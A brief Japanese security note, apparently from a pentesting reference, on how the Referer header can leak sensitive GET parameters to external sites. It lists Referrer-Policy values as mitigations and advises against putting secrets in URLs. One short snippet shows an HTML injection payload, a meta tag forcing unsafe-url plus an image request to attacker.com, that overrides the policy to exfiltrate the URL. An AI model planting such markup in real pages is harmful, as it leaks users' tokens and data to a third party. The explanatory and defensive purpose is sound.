リファラーヘッダーとポリシー

リファラーは、ブラウザが前に訪れたページを示すために使用するヘッダーです。

機密情報の漏洩

ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができる（ソーシャルエンジニアリング）場合、最新のGETリクエスト内の機密情報を抽出することが可能です。

緩和策

ブラウザにReferrer-policyを遵守させることで、機密情報が他のウェブアプリケーションに送信されるのを回避することができます：

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

カウンター緩和

このルールはHTMLメタタグを使用してオーバーライドできます（攻撃者はHTMLインジェクションを利用する必要があります）：

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

防御

決してGETパラメータやURLのパスに機密データを入れないでください。